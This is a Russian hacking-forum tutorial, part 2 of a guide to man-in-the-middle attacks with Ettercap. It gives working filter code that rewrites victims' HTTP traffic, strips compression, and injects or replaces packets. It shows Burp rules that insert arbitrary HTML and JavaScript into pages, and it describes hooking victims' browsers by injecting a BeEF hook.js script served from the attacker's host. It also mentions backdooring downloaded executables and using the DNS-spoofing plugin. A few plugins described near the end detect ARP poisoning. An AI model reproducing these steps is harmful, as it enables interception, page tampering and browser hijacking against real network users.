Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2

  • Автор темы klobald
  • Дата начала
K

klobald

4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад https://github.com/Ettercap/ettercap/tree/filter-improvements, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:
Код:
sudo apt-get remove ettercap-graphical ettercap-common
sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev
git clone -b filter-improvements https://github.com/Ettercap/ettercap.git
cd ettercap/
mkdir build
cd build
cmake ENABLE_PDF_DOCS=On ../
make
sudo make install

В общем, если у вас фильтры не заработали – то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter. Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

jollypwn.png



В файл с именем img_replacer.filter скопируйте:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная

      msg("zapped Accept-Encoding!\n");

   }

}

if (ip.proto == TCP && tcp.src == 80) {

   replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   msg("Filter Ran.\n");

}

Скомпилируйте файл:
Код:
etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:
Код:
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team
 14 protocol tables loaded:
    DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth
 13 constants loaded:
    VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP
 Parsing source file 'img_replacer.filter'  done.
 Unfolding the meta-tree  done.
 Converting labels to real offsets  done.
 Writing output to 'img_replacer.ef'  done.
 -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:
Код:
ettercap -G -F img_replacer.ef

Примечание: Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "gzip")) {

    replace("gzip", "    "); # примечание: четыре пробела в заменяемой строке

        msg("whited out gzip\n");

    }

}

if (ip.proto == TCP && tcp.dst == 80) {

    if (search(DATA.data, "deflate")) {

        replace("deflate", "       "); # примечание: семь пробелов в заменяемой строке

        msg("whited out deflate\n");

    }

}

а далее ещё несколько примеров:

# замена текста в пакете:

if (ip.proto == TCP && search(DATA.data, "lol")){

    replace("lol", "smh");

    msg("filter ran");

}

 

# показать сообщение, если tcp портом является 22

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      msg("SSH packet\n");

   }

}

# записать весь telnet трафик, также выполнить ./program на каждый пакет

if (ip.proto == TCP) {

   if (tcp.src == 23 || tcp.dst == 23) {

      log(DATA.data, "./logfile.log");

      exec("./program");

   }

}

# записать весь трафик, кроме http

if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) {

   log(DATA.data, "./logfile.log");

}

# некоторые операции с полезной нагрузкой пакетов

if ( DATA.data + 20 == 0x4142 ) {

   DATA.data + 20 = 0x4243;

} else {

   DATA.data = "modified";

   DATA.data + 20 = 0x4445;

}

# отбросить все пакеты, содержащие "ettercap"

if (search(DECODED.data, "ettercap")) {

   msg("some one is talking about us...\n");

   drop();

   kill();

}

# записать расшифрованные ssh пакеты, соответствующие регулярному выражению

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      if (regex(DECODED.data, ".*login.*")) {

         log(DECODED.data, "./decrypted_log");

      }

   }

}

# убийство пакетов

if (ip.ttl < 5) {

   msg("The packet will die soon\n");

}

# то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты

if (eth.proto == IP6 && ipv6.hl < 5) {

   msg("The IPv6 packet will die soon\n");

}

# сравнение строки на данный сдвиг

if (DATA.data + 40 == "ette") {

   log(DATA.data, "./logfile");

}

# вставить файл после указанного пакета

if (tcp.src == 21 && search(DATA.data, "root")) {

   inject("./fake_response");

}

# целиком заменить пакет на другой

if (tcp.src == 23 && search(DATA.data, "microsoft")) {

   drop();

   inject("./fake_telnet");

}

# Изменение бинарных данных используя внешнюю программу

if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) {

   log(DATA.data, "/tmp/payload");

   drop();

   execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload");

   udp.len += 7;

   exec("/bin/rm /tmp/payload");

   msg("faked");

}

# фильтровать только указанный IP адрес

if (ip.src == '192.168.0.2') {

   drop();

}

# делать то же самое для IPv6

if (ipv6.src == '2001:db8::1') {

   drop();

}

# комбинируем IPv4 и IPv6

if (eth.proto == IP && ip.dst == '192.168.0.2') {

   msg("drop IPv4");

   drop();

}

if (eth.proto == IP6 && ipv6.dst == '2001:db8::1') {

   msg("drop IPv6");

   drop();

}

# транслировать tcp пакеты с порта 80 на 81

if (tcp.dst == 80) {

   tcp.dst -= 1;

   tcp.dst += 2;

}

# найти и покалечить пакеты ESP

if (ip.proto == ESP) {

   DATA.data = "DEADDECAF";

}


4.2 Подмена данных с помощью Burp
Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options. Находим там Match and Replace. Нажимаем Add для добавления нового правила.

  • Request header – это заголовок запроса
  • Request body – тело запроса
  • Response header – заголовок ответа
  • Response body – тело ответа
  • Request param name – Имя параметра запроса
  • Request param value – Значение параметра запроса
  • Request first line – Первая строка запроса
Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует – этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю. )))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять
Код:
<title>.*<\/title>

на

<title>No Title</title>

Поставьте галочку на Regex match.

42.jpg



Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

41-1.jpg



Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем
Код:
<body.*?>

На

<body><p>I am cool!</p>

Поставьте галочку на Regex match.

43.jpg



В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст – что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым – всё зависит от вашей фантазии.

44.jpg



Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ – то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, здесь реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF
Чтобы начать использовать возможности BeEF, нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:
Код:
<script src="IP_или_ХОСТ/hook.js">

Следующие два метода различаются только методом внедрения этой строки.


5.1 Подцепление BeEF с помощью фильтров Ettercap
[раздел будет подготовлен позже]


5.2 Подцепление BeEF с помощью Burp
Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:
Код:
<script src="IP_или_ХОСТ/hook.js">



В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:
Код:
<script src="http://192.168.1.36:3000/hook.js">

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена
Код:
<\/head>

На

<script src="http://192.168.1.36:3000/hook.js"></head>

51.jpg



Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

52.jpg



6. Заражение бэкдорами
Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать BDFProxy. К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory: в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite.


7. Использование плагинов Ettercap
Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:
Код:
-P, --plugin <плагин>       запустить этот <плагин>

Также плагины можно загрузить из графического интерфейса:

61-1.jpg


[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop
Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

пример:
Код:
ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

7.2 autoadd
Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison
Он выполняет проверку — успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof
Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn
Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

пример:
Код:
ettercap -TQzP find_conn

ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap
Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner
Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

пример:
Код:
ettercap -TQP scan_poisoner //

7.8 search_promisc
Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

примеры:
Код:
ettercap -TQP search_promisc /192.168.0.1/

ettercap -TQP search_promisc //

7.9 sslstrip
Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

Заключение
Ettercap – программа для выполнения атаки человек-посередине. Она предлагает три пользовательских интерфейса на выбор. Кроме своей основной функции – ARP спуфинг и сниффинг трафика, программа поддерживает работу с плагинами и фильтрами.

Ettercap может быть использована в комбинации с другими инструментами, для выполнения самых разных сценариев атак.
 
Похожие темы
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
bitwisex Инструкция по установке и настройке криптовалютного кошелька Trust Wallet Полезные статьи 0
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
BuriTTo Инструкция по настройке своего VPN от VektorT13 Анонимность и приватность 0
T Инструкция по установке веб-сервера Apache c PHP, MariaDB и phpMyAdmin в Windows. Полезные статьи 0
J инструкция по установки панели Azorult Готовый софт 22
K Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux Уязвимости и взлом 0
K Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa ЧАСТЬ 2 Уязвимости и взлом 0
K Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa Уязвимости и взлом 0
G WiFi-autopwner 2: инструкция по использованию и обзор новых функций Уязвимости и взлом 0
K Инструкция по использованию MITMf Уязвимости и взлом 0
S Статья Анонимность | Инструкция по Выживанию Анонимность и приватность 0
C Инструкция по добычи PROXY для Black_Lucky Полезные статьи 1
Admin Интересно «Плывущая челюсть» и подозрительные тени. Инструкция для тех, кто не хочет попасться на уловки кибермошенников. Новости в сети 0
Admin Интересно Как выявить пропагандиста-бота: инструкция от пользователей Threads. Новости в сети 0
Admin Интересно «Пароль01» и дырявый VPN. Как пустить хакеров в сеть, чтобы они сломали вообще всё (пошаговая инструкция). Новости в сети 0
Admin Статья Инструкция Layer4 DDOS атаки. Уязвимости и взлом 0
wrangler65 Интересно Как удалить информацию о себе из интернета: подробная инструкция Полезные статьи 0
Support81 Clickfix: зарази свою систему сам, вот тебе инструкция Новости в сети 0
Emilio_Gaviriya Статья Проброс доступа к SSH через HTTPS: Подробная инструкция. Анонимность и приватность 0
El_IRBIS Интересно Отключаем Google Ad Topics в Chrome: Шаг за шагом инструкция с практическим применением. Анонимность и приватность 0
G Android botnet - full инструкция Полезные статьи 3
Traven Android botnet - full инструкция Полезные статьи 1
M UBC developed by FraGmeNt 1.7.1 + Инструкция для редактора Готовый софт 2
Admin Интересно Мошенники используют поддельные сайты с ссылками на GitHub для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Фейковые сайты имитируют открытые проекты для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Google DoubleClick используется в новой кампании для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Европарламент меняет поисковик по умолчанию на Qwant. Новости в сети 0
Admin Интересно Группа Gamaredon использует уязвимость WinRAR для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Российская нейросеть MOLOT научилась обнаруживать вредоносный код по поведению. Новости в сети 0
Admin Интересно Хакеры используют Steam для управления вредоносным ПО. Новости в сети 0
Admin Интересно ФБР предупреждает болельщиков о мошенничестве с билетами на Чемпионат мира по футболу. Новости в сети 0
Admin Интересно Вредоносное ПО для кражи учетных данных обнаружено в популярном инструменте Codex. Новости в сети 0
Admin Интересно Китайская компания ENGINEAI запустила завод по производству гуманоидных роботов. Новости в сети 0
Admin Интересно ESET опубликовал отчёт о деятельности APT-групп за период с октября 2025 по март 2026 года. Новости в сети 0
Admin Интересно Американский посол раскритиковал блокировку сделки по национальной системе идентификации Нидерландов. Новости в сети 0
Admin Интересно Новая киберкампания JINX-0164 атакует криптовалютные компании с помощью фишинга и вредоносного ПО для macOS. Новости в сети 0
Admin Интересно Калифорнийские суды тестируют ИИ для принятия решений по уголовным делам. Новости в сети 0
Admin Интересно Киберпреступники активно атакуют фанатов Чемпионата мира по футболу FIFA 2026. Новости в сети 0
Admin Интересно Искусственный интеллект используется для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Вредоносное ПО обнаружено в пакетах Laravel-Lang после атаки на Git. Новости в сети 0
Admin Интересно Северокорейская группировка Void Dokkaebi сменила язык программирования для вредоносного ПО. Новости в сети 0
Admin Интересно Сайт директора ФБР Каша Пателя отключён после обнаружения вредоносного ПО. Новости в сети 0
Admin Интересно Россия стала мировым лидером по цензуре в App Store. Новости в сети 0
Admin Интересно Claude Mythos AI обнаружил 10 000 уязвимостей высокой степени риска в популярном ПО. Новости в сети 0
Admin Интересно Пакеты Laravel-Lang скомпрометированы для распространения ворующего данные вредоносного ПО. Новости в сети 0
Admin Интересно Пользователи сети нашли замену Чернобылю и Освенциму. В моде новый вид туризма по жутким местам, которых никогда не существовало. Новости в сети 0
Admin Интересно Искусственный интеллект собрал данные о ценах на багеты по всей Франции. Новости в сети 0
Admin Интересно Конец света по расписанию: почему теория вероятностей предсказывает финал через пару тысяч лет. Новости в сети 0
Admin Интересно Вредоносное ПО Showboat атакует телекоммуникационные компании на Ближнем Востоке. Новости в сети 0

Название темы